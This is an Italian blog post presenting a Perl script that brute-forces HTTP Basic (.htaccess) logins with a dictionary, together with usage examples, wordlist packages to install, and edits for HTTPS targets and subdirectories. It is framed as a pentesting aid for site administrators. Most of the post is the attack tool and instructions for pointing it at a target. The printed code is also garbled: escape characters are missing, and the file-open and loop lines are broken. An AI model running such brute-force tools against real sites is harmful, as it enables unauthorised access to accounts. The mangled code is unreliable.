Premessa
Questo scrip non è farina del mio sacco. Il solo scopo di questo post è quello di mostrarne il funzionamento, in modo da semplificare la vita agli amministratori di sistema che volessero saggiare la robustezza delle credenziali .htaccess per l’accesso ai loro siti Web.
Scrip
#!/usr/bin/perl ### # # brute password crackalacker. useful for anything that uses .htaccess # or other basic authentication methods. # # don't use it for anything stupid. it's for pentesting. # - nwo # # 11/2/2007 # ### use LWP::UserAgent; sub usage() { $progname = $0; print "+--- created by nwo ---+n"; print "$progname (ip) (user) (dictionary file)n"; print "n"; exit(0); } sub auth() { local($pw) = @_; $ua = LWP::UserAgent->new; $req = HTTP::Request->new(GET => "http://$ip/"); $req->authorization_basic($user, $pw); @data = $ua->request($req)->as_string; foreach $line (@data) { if($line =~ /401/) { return "0"; } else { return "1"; } } } $ip = $ARGV[0]; $user = $ARGV[1]; $dict = $ARGV[2]; if($dict eq "") { $dict = "D8.DIC"; } if($user eq "") { &usage; } D, "$dict") || die "$!"; while() { chomp($line = $_); print "Trying $line...."; if((&auth($line)) eq "0") { print "failed. Next..n"; next; } if((&auth($line)) eq "1") { print "success! Password is $linen"; exit(0); } }
Lo usage dello scrip (come riportato nel sorgente) è il seguente:
perl htbrute.pl <ip del sito> <user> <dizionario>
Ad esempio:
perl htbrute.pl 192.168.1.1 admin italian
In particolare, i dizionari sono presenti nella directory /usr/share/dict. Potete comunque installarne di nuovi mediante il comando:
nightfly@nightbox:~$ sudo apt-get install <nome del dizionario>
I dizionari disponibili per l’installazione sono i seguenti (divisi in base alla lingua):
wgerman-medical wfinnish wcanadian-small wcanadian-large wcanadian-insane wcanadian-huge wcanadian wbritish-small wbritish-large wbritish-insane wbritish-huge wamerican-small wamerican-large wamerican-insane wamerican-huge wukrainian wswiss wswedish wspanish wportuguese wpolish wogerman wnorwegian wngerman witalian wgalician-minimos wfrench wfaroese wdutch wdanish wcatalan wbulgarian wbritish wbrazilian wamerican miscfiles
Infine, nel caso in cui il nostro sito fosse raggiungibile solo mediante HTTPS, basta modificare la seguente stringa:
$req = HTTP::Request->new(GET => "http://$ip/");
in:
$req = HTTP::Request->new(GET => "https://$ip/");
Discorso simile va fatto se occorre controllare una determinata sottodirectory:
$req = HTTP::Request->new(GET => "http://$ip/nomedir");
Buon PenTest.